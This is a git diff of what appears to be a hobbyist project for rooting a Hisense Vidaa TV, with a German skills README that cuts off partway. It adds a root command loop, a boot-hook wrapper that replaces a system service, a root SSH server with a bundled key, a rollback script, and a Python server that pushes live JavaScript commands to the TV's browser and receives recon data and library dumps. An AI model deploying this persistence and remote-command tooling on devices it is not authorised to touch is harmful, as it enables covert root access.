exit 1; } + +# stop the 2222 test instance +if [ -f "$D/dropbear2222.pid" ]; then + kill "$(cat "$D/dropbear2222.pid")" 2>/dev/null || true + rm -f "$D/dropbear2222.pid" +fi + +# one-time backup of the known-good non-SFTP binary +if [ ! -f "$D/dropbear.nosftp" ]; then + cp -f "$D/dropbear" "$D/dropbear.nosftp" + chmod 755 "$D/dropbear.nosftp" +fi + +cp -f "$D/dropbear-sftp" "$D/dropbear.new" +chmod 755 "$D/dropbear.new" + +if /bin/busybox --list 2>/dev/null | grep -q '^nohup$'; then + /bin/busybox nohup /bin/sh "$APP/swap_sftp.sh" >"$D/swap.log" 2>&1 & +else + /bin/sh "$APP/swap_sftp.sh" >"$D/swap.log" 2>&1 & +fi +echo "swap scheduled; port 22 will restart in ~3s; reconnect after ~6s" diff --git a/root/scripts/tv/hamservice-wrapper.sh b/root/scripts/tv/hamservice-wrapper.sh new file mode 100755 index 0000000..896f339 --- /dev/null +++ b/root/scripts/tv/hamservice-wrapper.sh @@ -0,0 +1,13 @@ +#!/bin/sh +# /3rd_rw/hamservice/HamService (wrapper; install via deploy_sshd.sh) +# Early-ish boot hook (startHam.sh, after ~15 s): starts the root loop and +# Dropbear, then executes the real HamService. Reversible: +# rm /3rd_rw/hamservice/HamService +# ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH + +/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 & +[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 & + +exec /3rd/hamservice/HamService "$@" diff --git a/root/scripts/tv/install_sftp_stage.sh b/root/scripts/tv/install_sftp_stage.sh new file mode 100755 index 0000000..15cf755 --- /dev/null +++ b/root/scripts/tv/install_sftp_stage.sh @@ -0,0 +1,51 @@ +#!/bin/sh +# install_sftp_stage.sh — stage SFTP on the TV without touching port 22. +# +# Expects in /3rd_rw/appdata: +# sftp-server static OpenSSH sftp-server +# dropbear-sftp Dropbear with SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server +# +# Copies both to /3rd_rw/sshd and starts a test Dropbear on port 2222. +# The caller then tests `sftp -P 2222`. Only if that works, enable_sftp.sh +# swaps the binary on port 22. +set -e +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH + +APP=/3rd_rw/appdata +D=/3rd_rw/sshd + +echo "=== sftp stage: start ===" +for f in sftp-server dropbear-sftp; do + [ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; } +done +mkdir -p "$D" +cp -f "$APP/sftp-server" "$D/sftp-server"; chmod 755 "$D/sftp-server" +cp -f "$APP/dropbear-sftp" "$D/dropbear-sftp"; chmod 755 "$D/dropbear-sftp" + +# Verify the patched path and static server +echo "--- patched path ---" +if grep -q '/3rd_rw/sshd/sftp-server' "$D/dropbear-sftp" 2>/dev/null; then + echo "patched SFTPSERVER_PATH OK" +else + echo "WARNING: patched path not found (continuing; SFTP may fail)" +fi + +# Stop a previous test instance +if [ -f "$D/dropbear2222.pid" ]; then + kill "$(cat "$D/dropbear2222.pid")" 2>/dev/null || true + rm -f "$D/dropbear2222.pid" +fi +sleep 1 + +"$D/dropbear-sftp" -r "$D/host_key" -p 2222 \ + -P "$D/dropbear2222.pid" -E >> "$D/dropbear2222.log" 2>&1 & +sleep 2 + +echo "--- processes ---" +ps | grep dropbear | grep -v grep || true +echo "--- tcp 2222 (08AE) ---" +cat /proc/net/tcp | grep -i ':08AE' || true +echo "--- log ---" +/bin/busybox tail -n 10 "$D/dropbear2222.log" 2>&1 || true +echo "=== sftp stage: done; test with: sftp -P 2222 root@ ===" diff --git a/root/scripts/tv/rollback.sh b/root/scripts/tv/rollback.sh new file mode 100755 index 0000000..2cca23c --- /dev/null +++ b/root/scripts/tv/rollback.sh @@ -0,0 +1,29 @@ +#!/bin/sh +# rollback.sh — remove the root/SSH persistence layers (run as root). +# The rootfs is untouched; this only removes /3rd_rw changes + runtime mounts. +# Reboot afterwards for a clean state. +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH +D=/3rd_rw/sshd + +echo "=== rollback: stopping loop/dropbear ===" +[ -f /3rd_rw/appdata/root_loop.pid ] && kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null || true +[ -f "$D/dropbear.pid" ] && kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true + +echo "=== restore HamService symlink ===" +rm -f /3rd_rw/hamservice/HamService +ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService + +echo "=== unmount runtime bind mounts ===" +umount /etc/passwd 2>/dev/null || true +umount /dev/pts 2>/dev/null || true +umount /dev/shm/pts 2>/dev/null || true + +echo "=== remove sshd dir + shadows ===" +rm -rf "$D" +rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so +rm -f /3rd_rw/ms-screen/lib/liblogLevel.so +rm -f /3rd_rw/appdata/liblogLevel.so +sync + +echo "=== rollback done; reboot recommended ===" diff --git a/root/scripts/tv/root_loop.sh b/root/scripts/tv/root_loop.sh new file mode 100755 index 0000000..63c90d1 --- /dev/null +++ b/root/scripts/tv/root_loop.sh @@ -0,0 +1,25 @@ +#!/bin/sh +# /3rd_rw/appdata/root_loop.sh +# Root command loop. One instance per boot (boot_id lock). +# Write /3rd_rw/appdata/root_cmd.sh; read /3rd_rw/appdata/root_out.txt. +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH + +BID="" +[ -r /proc/sys/kernel/random/boot_id ] && BID=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null) +[ -z "$BID" ] && BID=0 +LOCK="/3rd_rw/appdata/root_loop.lock.$BID" +mkdir "$LOCK" 2>/dev/null || exit 0 + +echo "$$" > /3rd_rw/appdata/root_loop.pid +echo "loop started $$ $BID" > /3rd_rw/appdata/root_loop.log + +while true; do + if [ -f /3rd_rw/appdata/root_cmd.sh ]; then + mv /3rd_rw/appdata/root_cmd.sh /3rd_rw/appdata/root_cmd.run + /bin/sh /3rd_rw/appdata/root_cmd.run > /3rd_rw/appdata/root_out.txt 2>&1 + echo "rc=$?" >> /3rd_rw/appdata/root_out.txt + mv /3rd_rw/appdata/root_cmd.run /3rd_rw/appdata/root_cmd.done + fi + sleep 1 +done diff --git a/root/scripts/tv/start_sshd.sh b/root/scripts/tv/start_sshd.sh new file mode 100755 index 0000000..52a61ad --- /dev/null +++ b/root/scripts/tv/start_sshd.sh @@ -0,0 +1,39 @@ +#!/bin/sh +# /3rd_rw/sshd/start_sshd.sh +# Starts Dropbear with key-only auth. Also re-creates the runtime bind mounts: +# /etc/passwd -> /3rd_rw/sshd/etc_passwd (root home -> /3rd_rw/sshd/home) +# /dev/pts -> devpts on /dev/shm/pts (PTY workaround; /dev is static ro) +# Must run as root. Idempotent. +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH +mkdir -p /3rd_rw/sshd + +# 1) passwd bind mount (root home must be writable for ~/.ssh/authorized_keys) +if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then + mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log \ + || mount -o bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log +fi + +# 2) PTY: /dev is a static ro squashfs, no devtmpfs. Mount devpts on tmpfs +# and bind it over /dev/pts. /dev/ptmx (5,2) remains the static node. +mkdir -p /dev/shm/pts +if ! grep -q ' /dev/shm/pts ' /proc/mounts; then + mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log \ + || mount -t devpts devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log +fi +if ! grep -q ' /dev/pts ' /proc/mounts; then + mount --bind /dev/shm/pts /dev/pts 2>>/3rd_rw/sshd/mount.log +fi + +# 3) already running? +if [ -f /3rd_rw/sshd/dropbear.pid ]; then + PID=$(cat /3rd_rw/sshd/dropbear.pid) + if kill -0 "$PID" 2>/dev/null && grep -q dropbear "/proc/$PID/cmdline" 2>/dev/null; then + exit 0 + fi + rm -f /3rd_rw/sshd/dropbear.pid +fi + +# 4) start key-only Dropbear (password auth is disabled at build time) +/3rd_rw/sshd/dropbear -r /3rd_rw/sshd/host_key -p 22 \ + -P /3rd_rw/sshd/dropbear.pid -E >> /3rd_rw/sshd/dropbear.log 2>&1 & diff --git a/root/scripts/tv/swap_sftp.sh b/root/scripts/tv/swap_sftp.sh new file mode 100755 index 0000000..299d53b --- /dev/null +++ b/root/scripts/tv/swap_sftp.sh @@ -0,0 +1,34 @@ +#!/bin/sh +# swap_sftp.sh — runs detached from enable_sftp.sh. +# Stops the old Dropbear, swaps in the SFTP-capable binary, restarts, and +# falls back to dropbear.nosftp if port 22 does not come up. +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH +D=/3rd_rw/sshd + +echo "=== swap_sftp $(date) ===" +sleep 1 + +if [ -f "$D/dropbear.pid" ]; then + kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true +fi +sleep 1 + +mv -f "$D/dropbear.new" "$D/dropbear" +chmod 755 "$D/dropbear" +/bin/sh "$D/start_sshd.sh" +sleep 3 + +if cat /proc/net/tcp | grep -qi ':0016'; then + echo "port 22 listening with SFTP-capable dropbear" +else + echo "port 22 NOT listening; restoring dropbear.nosftp" + cp -f "$D/dropbear.nosftp" "$D/dropbear" + chmod 755 "$D/dropbear" + /bin/sh "$D/start_sshd.sh" + sleep 2 + cat /proc/net/tcp | grep -i ':0016' || true +fi + +echo "=== swap_sftp done ===" +ps | grep dropbear | grep -v grep || true diff --git a/root/scripts/tv/verify.sh b/root/scripts/tv/verify.sh new file mode 100755 index 0000000..eced59d --- /dev/null +++ b/root/scripts/tv/verify.sh @@ -0,0 +1,47 @@ +#!/bin/sh +# verify.sh — quick health check for the rooted TV (run as root). +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH +D=/3rd_rw/sshd + +echo "=== proof ===" +cat /3rd_rw/root_proof.txt 2>&1 + +echo "=== root loop ===" +cat /3rd_rw/appdata/root_loop.pid 2>&1 +ps | grep root_loop | grep -v grep || true + +echo "=== dropbear ===" +ps | grep dropbear | grep -v grep || true +cat /proc/net/tcp | grep -i ':0016' || true +/bin/busybox tail -n 10 "$D/dropbear.log" 2>&1 || true + +echo "=== sftp (optional) ===" +if [ -f /3rd_rw/sshd/sftp-server ]; then + echo "sftp-server present" +else + echo "sftp-server missing (optional)" +fi +if grep -q '/3rd_rw/sshd/sftp-server' /3rd_rw/sshd/dropbear 2>/dev/null; then + echo "dropbear SFTP path OK" +else + echo "dropbear unpatched (optional; install_sftp.sh)" +fi + +echo "=== passwd / root home ===" +grep '^root:' /etc/passwd + +echo "=== authorized key ===" +ls -l "$D/home/.ssh/authorized_keys" 2>&1 +/bin/busybox head -c 120 "$D/home/.ssh/authorized_keys" 2>&1; echo + +echo "=== mounts ===" +grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts + +echo "=== current uid/gid (this shell) ===" +grep -E '^(Uid|Gid|CapEff):' /proc/self/status + +echo "=== host key ===" +"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true + +echo "=== verify done ===" diff --git a/root/tools/icon.png b/root/tools/icon.png new file mode 100644 index 0000000..ff334e8 Binary files /dev/null and b/root/tools/icon.png differ diff --git a/root/tools/live_cmd.txt b/root/tools/live_cmd.txt new file mode 100644 index 0000000..e69de29 diff --git a/root/tools/pub/authorized_keys b/root/tools/pub/authorized_keys new file mode 100644 index 0000000..5a3765f --- /dev/null +++ b/root/tools/pub/authorized_keys @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root diff --git a/root/tools/pub/deploy_sshd.sh b/root/tools/pub/deploy_sshd.sh new file mode 100755 index 0000000..6cbabec --- /dev/null +++ b/root/tools/pub/deploy_sshd.sh @@ -0,0 +1,97 @@ +#!/bin/sh +# deploy_sshd.sh — run as root on the TV (e.g. via the root loop). +# +# Expects in /3rd_rw/appdata: +# dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh +# hamservice-wrapper.sh +# Upload these with root/scripts/host/upload_to_appdata.js (or File.download). +# +# Installs: +# /3rd_rw/sshd/{dropbear,dropbearkey,host_key,etc_passwd,start_sshd.sh,home/.ssh/authorized_keys} +# /3rd_rw/hamservice/HamService (wrapper; replaces the symlink) +# bind /etc/passwd -> /3rd_rw/sshd/etc_passwd +# devpts /dev/shm/pts -> bind /dev/pts (PTY workaround) +# Dropbear on 0.0.0.0:22, key-only root login +# +# Reversible with rollback.sh or the ROOT-GUIDE. +set -e +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH + +APP=/3rd_rw/appdata +D=/3rd_rw/sshd + +echo "=== deploy_sshd: start ===" +for f in dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh hamservice-wrapper.sh; do + [ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; } +done + +mkdir -p "$D/home/.ssh" /3rd_rw/hamservice + +# --- binaries + host key ------------------------------------------------- +cp -f "$APP/dropbear" "$D/dropbear" +if [ -f "$APP/dropbear-sftp" ]; then + cp -f "$APP/dropbear-sftp" "$D/dropbear" + echo "using SFTP-capable dropbear" +fi +chmod 755 "$D/dropbear" +cp -f "$APP/dropbearkey" "$D/dropbearkey"; chmod 755 "$D/dropbearkey" +if [ -f "$APP/sftp-server" ]; then + cp -f "$APP/sftp-server" "$D/sftp-server" + chmod 755 "$D/sftp-server" + echo "sftp-server installed" +fi +if [ ! -f "$D/host_key" ]; then + "$D/dropbearkey" -t ed25519 -f "$D/host_key" +fi + +# --- root home via bind-mounted passwd ----------------------------------- +cp -f /etc/passwd "$D/etc_passwd" +sed -i 's|^root:x:0:0:root:.*|root:x:0:0:root:/3rd_rw/sshd/home:/bin/sh|' "$D/etc_passwd" +if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then + mount --bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log" \ + || mount -o bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log" +fi + +# --- PTY: devpts on tmpfs, bind over /dev/pts ----------------------------- +mkdir -p /dev/shm/pts +if ! grep -q ' /dev/shm/pts ' /proc/mounts; then + mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>"$D/mount.log" \ + || mount -t devpts devpts /dev/shm/pts 2>>"$D/mount.log" +fi +if ! grep -q ' /dev/pts ' /proc/mounts; then + mount --bind /dev/shm/pts /dev/pts 2>>"$D/mount.log" +fi + +# --- authorized key / permissions ---------------------------------------- +cp -f "$APP/authorized_keys" "$D/home/.ssh/authorized_keys" +chmod 700 "$D/home" "$D/home/.ssh" +chmod 600 "$D/home/.ssh/authorized_keys" +chown -R 0:0 "$D" + +# --- start script + root loop + boot wrapper ----------------------------- +cp -f "$APP/start_sshd.sh" "$D/start_sshd.sh"; chmod 755 "$D/start_sshd.sh" +chmod 644 "$APP/root_loop.sh" +rm -f /3rd_rw/hamservice/HamService +cp -f "$APP/hamservice-wrapper.sh" /3rd_rw/hamservice/HamService +chmod 755 /3rd_rw/hamservice/HamService + +# --- start now (idempotent) ---------------------------------------------- +/bin/sh "$D/start_sshd.sh" +sleep 2 + +echo "--- passwd root entry ---" +grep '^root:' /etc/passwd +echo "--- mounts ---" +grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts +echo "--- processes ---" +ps | grep -E 'dropbear|root_loop' | grep -v grep || true +echo "--- tcp 22 ---" +cat /proc/net/tcp | grep -i ':0016' || true +echo "--- dropbear log ---" +/bin/busybox tail -n 8 "$D/dropbear.log" 2>&1 || true +echo "--- host key ---" +"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true +echo "--- files ---" +ls -la "$D" "$D/home/.ssh" /3rd_rw/hamservice +echo "=== deploy_sshd: done ===" diff --git a/root/tools/pub/dropbear b/root/tools/pub/dropbear new file mode 100755 index 0000000..5df1740 Binary files /dev/null and b/root/tools/pub/dropbear differ diff --git a/root/tools/pub/dropbear-sftp b/root/tools/pub/dropbear-sftp new file mode 100755 index 0000000..63322a9 Binary files /dev/null and b/root/tools/pub/dropbear-sftp differ diff --git a/root/tools/pub/dropbearkey b/root/tools/pub/dropbearkey new file mode 100755 index 0000000..5373742 Binary files /dev/null and b/root/tools/pub/dropbearkey differ diff --git a/root/tools/pub/hamservice-wrapper.sh b/root/tools/pub/hamservice-wrapper.sh new file mode 100755 index 0000000..896f339 --- /dev/null +++ b/root/tools/pub/hamservice-wrapper.sh @@ -0,0 +1,13 @@ +#!/bin/sh +# /3rd_rw/hamservice/HamService (wrapper; install via deploy_sshd.sh) +# Early-ish boot hook (startHam.sh, after ~15 s): starts the root loop and +# Dropbear, then executes the real HamService. Reversible: +# rm /3rd_rw/hamservice/HamService +# ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH + +/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 & +[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 & + +exec /3rd/hamservice/HamService "$@" diff --git a/root/tools/pub/libtvsysinfo.so b/root/tools/pub/libtvsysinfo.so new file mode 100644 index 0000000..261127f Binary files /dev/null and b/root/tools/pub/libtvsysinfo.so differ diff --git a/root/tools/pub/rollback.sh b/root/tools/pub/rollback.sh new file mode 100755 index 0000000..2cca23c --- /dev/null +++ b/root/tools/pub/rollback.sh @@ -0,0 +1,29 @@ +#!/bin/sh +# rollback.sh — remove the root/SSH persistence layers (run as root). +# The rootfs is untouched; this only removes /3rd_rw changes + runtime mounts. +# Reboot afterwards for a clean state. +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH +D=/3rd_rw/sshd + +echo "=== rollback: stopping loop/dropbear ===" +[ -f /3rd_rw/appdata/root_loop.pid ] && kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null || true +[ -f "$D/dropbear.pid" ] && kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true + +echo "=== restore HamService symlink ===" +rm -f /3rd_rw/hamservice/HamService +ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService + +echo "=== unmount runtime bind mounts ===" +umount /etc/passwd 2>/dev/null || true +umount /dev/pts 2>/dev/null || true +umount /dev/shm/pts 2>/dev/null || true + +echo "=== remove sshd dir + shadows ===" +rm -rf "$D" +rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so +rm -f /3rd_rw/ms-screen/lib/liblogLevel.so +rm -f /3rd_rw/appdata/liblogLevel.so +sync + +echo "=== rollback done; reboot recommended ===" diff --git a/root/tools/pub/root_loop.sh b/root/tools/pub/root_loop.sh new file mode 100755 index 0000000..63c90d1 --- /dev/null +++ b/root/tools/pub/root_loop.sh @@ -0,0 +1,25 @@ +#!/bin/sh +# /3rd_rw/appdata/root_loop.sh +# Root command loop. One instance per boot (boot_id lock). +# Write /3rd_rw/appdata/root_cmd.sh; read /3rd_rw/appdata/root_out.txt. +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH + +BID="" +[ -r /proc/sys/kernel/random/boot_id ] && BID=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null) +[ -z "$BID" ] && BID=0 +LOCK="/3rd_rw/appdata/root_loop.lock.$BID" +mkdir "$LOCK" 2>/dev/null || exit 0 + +echo "$$" > /3rd_rw/appdata/root_loop.pid +echo "loop started $$ $BID" > /3rd_rw/appdata/root_loop.log + +while true; do + if [ -f /3rd_rw/appdata/root_cmd.sh ]; then + mv /3rd_rw/appdata/root_cmd.sh /3rd_rw/appdata/root_cmd.run + /bin/sh /3rd_rw/appdata/root_cmd.run > /3rd_rw/appdata/root_out.txt 2>&1 + echo "rc=$?" >> /3rd_rw/appdata/root_out.txt + mv /3rd_rw/appdata/root_cmd.run /3rd_rw/appdata/root_cmd.done + fi + sleep 1 +done diff --git a/root/tools/pub/sftp-server b/root/tools/pub/sftp-server new file mode 100755 index 0000000..039bd21 Binary files /dev/null and b/root/tools/pub/sftp-server differ diff --git a/root/tools/pub/start_sshd.sh b/root/tools/pub/start_sshd.sh new file mode 100755 index 0000000..52a61ad --- /dev/null +++ b/root/tools/pub/start_sshd.sh @@ -0,0 +1,39 @@ +#!/bin/sh +# /3rd_rw/sshd/start_sshd.sh +# Starts Dropbear with key-only auth. Also re-creates the runtime bind mounts: +# /etc/passwd -> /3rd_rw/sshd/etc_passwd (root home -> /3rd_rw/sshd/home) +# /dev/pts -> devpts on /dev/shm/pts (PTY workaround; /dev is static ro) +# Must run as root. Idempotent. +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH +mkdir -p /3rd_rw/sshd + +# 1) passwd bind mount (root home must be writable for ~/.ssh/authorized_keys) +if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then + mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log \ + || mount -o bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log +fi + +# 2) PTY: /dev is a static ro squashfs, no devtmpfs. Mount devpts on tmpfs +# and bind it over /dev/pts. /dev/ptmx (5,2) remains the static node. +mkdir -p /dev/shm/pts +if ! grep -q ' /dev/shm/pts ' /proc/mounts; then + mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log \ + || mount -t devpts devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log +fi +if ! grep -q ' /dev/pts ' /proc/mounts; then + mount --bind /dev/shm/pts /dev/pts 2>>/3rd_rw/sshd/mount.log +fi + +# 3) already running? +if [ -f /3rd_rw/sshd/dropbear.pid ]; then + PID=$(cat /3rd_rw/sshd/dropbear.pid) + if kill -0 "$PID" 2>/dev/null && grep -q dropbear "/proc/$PID/cmdline" 2>/dev/null; then + exit 0 + fi + rm -f /3rd_rw/sshd/dropbear.pid +fi + +# 4) start key-only Dropbear (password auth is disabled at build time) +/3rd_rw/sshd/dropbear -r /3rd_rw/sshd/host_key -p 22 \ + -P /3rd_rw/sshd/dropbear.pid -E >> /3rd_rw/sshd/dropbear.log 2>&1 & diff --git a/root/tools/pub/verify.sh b/root/tools/pub/verify.sh new file mode 100755 index 0000000..eced59d --- /dev/null +++ b/root/tools/pub/verify.sh @@ -0,0 +1,47 @@ +#!/bin/sh +# verify.sh — quick health check for the rooted TV (run as root). +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH +D=/3rd_rw/sshd + +echo "=== proof ===" +cat /3rd_rw/root_proof.txt 2>&1 + +echo "=== root loop ===" +cat /3rd_rw/appdata/root_loop.pid 2>&1 +ps | grep root_loop | grep -v grep || true + +echo "=== dropbear ===" +ps | grep dropbear | grep -v grep || true +cat /proc/net/tcp | grep -i ':0016' || true +/bin/busybox tail -n 10 "$D/dropbear.log" 2>&1 || true + +echo "=== sftp (optional) ===" +if [ -f /3rd_rw/sshd/sftp-server ]; then + echo "sftp-server present" +else + echo "sftp-server missing (optional)" +fi +if grep -q '/3rd_rw/sshd/sftp-server' /3rd_rw/sshd/dropbear 2>/dev/null; then + echo "dropbear SFTP path OK" +else + echo "dropbear unpatched (optional; install_sftp.sh)" +fi + +echo "=== passwd / root home ===" +grep '^root:' /etc/passwd + +echo "=== authorized key ===" +ls -l "$D/home/.ssh/authorized_keys" 2>&1 +/bin/busybox head -c 120 "$D/home/.ssh/authorized_keys" 2>&1; echo + +echo "=== mounts ===" +grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts + +echo "=== current uid/gid (this shell) ===" +grep -E '^(Uid|Gid|CapEff):' /proc/self/status + +echo "=== host key ===" +"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true + +echo "=== verify done ===" diff --git a/root/tools/recon.html b/root/tools/recon.html new file mode 100644 index 0000000..7ef0b7b --- /dev/null +++ b/root/tools/recon.html @@ -0,0 +1,70 @@ + + + + + +VIDAA Recon + + + +
loading phase…
+ + + diff --git a/root/tools/server.py b/root/tools/server.py new file mode 100644 index 0000000..647f0ad --- /dev/null +++ b/root/tools/server.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python3 +"""Serves recon.html to the TV and captures what the TV POSTs back. +Run: python3 server.py [port] (default 9000) +The TV opens http://:9000/ in its built-in browser. +Captures land in ./captures/ as timestamped .txt files. +""" +import http.server, socketserver, os, sys, datetime, itertools, urllib.parse + +HERE = os.path.dirname(os.path.abspath(__file__)) +CAP = os.path.join(HERE, "captures"); os.makedirs(CAP, exist_ok=True) +PAGE = os.path.join(HERE, "recon.html") +SEQ = itertools.count() + +class H(http.server.BaseHTTPRequestHandler): + def log_message(self, *a): pass + def _send(self, code, body, ctype="text/html; charset=utf-8"): + self.send_response(code) + self.send_header("Content-Type", ctype) + self.send_header("Content-Length", str(len(body))) + self.send_header("Cache-Control", "no-store") + self.send_header("Access-Control-Allow-Origin", "*") + self.end_headers() + self.wfile.write(body) + def do_GET(self): + # Live command channel: the TV polls /cmd; the host drops a JS command + # into live_cmd.txt. The file is consumed atomically enough for one TV. + if self.path.split("?")[0] != "/cmd": + print(f"[GET] {self.path} ua={self.headers.get('User-Agent','')[:40]}", flush=True) + if self.path.split("?")[0] == "/cmd": + cp = os.path.join(HERE, "live_cmd.txt") + try: + if os.path.exists(cp): + with open(cp, "rb") as fh: body = fh.read() + os.remove(cp) + self._send(200, body, "text/plain; charset=utf-8") + else: + self._send(204, b"", "text/plain; charset=utf-8") + except Exception as e: + self._send(500, str(e).encode(), "text/plain; charset=utf-8") + return + if self.path.startswith("/pub/"): + name = os.path.basename(urllib.parse.urlsplit(self.path).path) + p = os.path.join(HERE, "pub", name) + if os.path.exists(p): + with open(p, "rb") as fh: + body = fh.read() + self.send_response(200) + self.send_header("Content-Type", "application/octet-stream") + self.send_header("Content-Disposition", 'attachment; filename="%s"' % name) + self.send_header("Content-Length", str(len(body))) + self.send_header("Cache-Control", "no-store") + self.send_header("Access-Control-Allow-Origin", "*") + self.end_headers() + self.wfile.write(body) + else: + self._send(404, b"not found", "text/plain") + return + routes = { + "/": PAGE, + "/recon.html": PAGE, + "/index.html": PAGE, + "/phase2.html": os.path.join(HERE, "phase2.html"), + "/phase.js": os.path.join(HERE, "phase.js"), + "/icon.png": os.path.join(HERE, "icon.png"), + } + f = routes.get(self.path.split("?")[0]) + if f and os.path.exists(f): + if f.endswith(".png"): ctype = "image/png" + elif f.endswith(".js"): ctype = "application/javascript; charset=utf-8" + else: ctype = "text/html; charset=utf-8" + with open(f, "rb") as fh: self._send(200, fh.read(), ctype) + else: + self._send(404, b"not found", "text/plain") + def do_POST(self): + path = urllib.parse.urlsplit(self.path).path + if path == "/dump": + q = urllib.parse.parse_qs(urllib.parse.urlsplit(self.path).query) + off = int(q.get("off", ["0"])[0]) + total = int(q.get("total", ["0"])[0]) + name = os.path.basename(q.get("name", ["libomi.so"])[0]) or "libomi.so" + n = int(self.headers.get("Content-Length", 0)) + body = self.rfile.read(n) + d = os.path.join(HERE, ".re", "dumps", "tv") + os.makedirs(d, exist_ok=True) + p = os.path.join(d, name) + with open(p, "wb" if off == 0 else "r+b") as f: + f.seek(off) + f.write(body) + print(f"[+] dump off={off} len={len(body)} total={total}", flush=True) + self._send(200, b"ok", "text/plain") + return + if path != "/recon": + self._send(404, b"not found", "text/plain"); return + n = int(self.headers.get("Content-Length", 0)) + body = self.rfile.read(n).decode("utf-8", "replace") + ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S") + seq = next(SEQ) + p = os.path.join(CAP, f"recon-{ts}-{seq:06d}.txt") + with open(p, "w") as f: f.write(body) + print(f"[+] captured {len(body)} bytes -> {p}", flush=True) + self._send(200, b"ok", "text/plain") + +if __name__ == "__main__": + port = int(sys.argv[1]) if len(sys.argv) > 1 else 9000 + socketserver.TCPServer.allow_reuse_address = True + with socketserver.ThreadingTCPServer(("0.0.0.0", port), H) as httpd: + print(f"[*] serving recon on http://0.0.0.0:{port}/ (captures -> {CAP})", flush=True) + httpd.serve_forever() diff --git a/skills/README.md b/skills/README.md new file mode 100644 index 0000000..ac13951 --- /dev/null +++ b/skills/README.md @@ -0,0 +1,34 @@ +# TV-Modding Skills — Hisense HE40E5600FFWTS (Vidaa U) + +Kompakte, action-first Skills zum Modden dieses TVs. Jede Datei = „ich will X +tun → so geht's, inkl. Stolperfallen“. Für Tiefe/Belege siehe `../modding/` +und `../root/ROOT-GUIDE.md`. + +| Skill | Datei | Ein-Satz-Zweck | +|---|---|---| +| File-API & Schreibrechte | `fileapi-permissions.md` | Root-JS-APIs lesen/schreiben, Whitelist, Symlink-Bypass | +| Root-Ausführung & Persistenz | `root-execution.md` | Root-Loop, SSH, Boot-Hooks, AM-Steuerung | +| Payload-Deploy | `payload-deploy.md` | Dateien/Binaries ohne Package Manager auf den TV | +| UI / Launcher / Bloat | `ui-launcher-bloat.md` | App-Tiles, UI-Seite, Services an/aus | + +## Kurz-Cheat-Sheet (die drei wichtigsten Primitive) + +```js +// Lesen (Text) 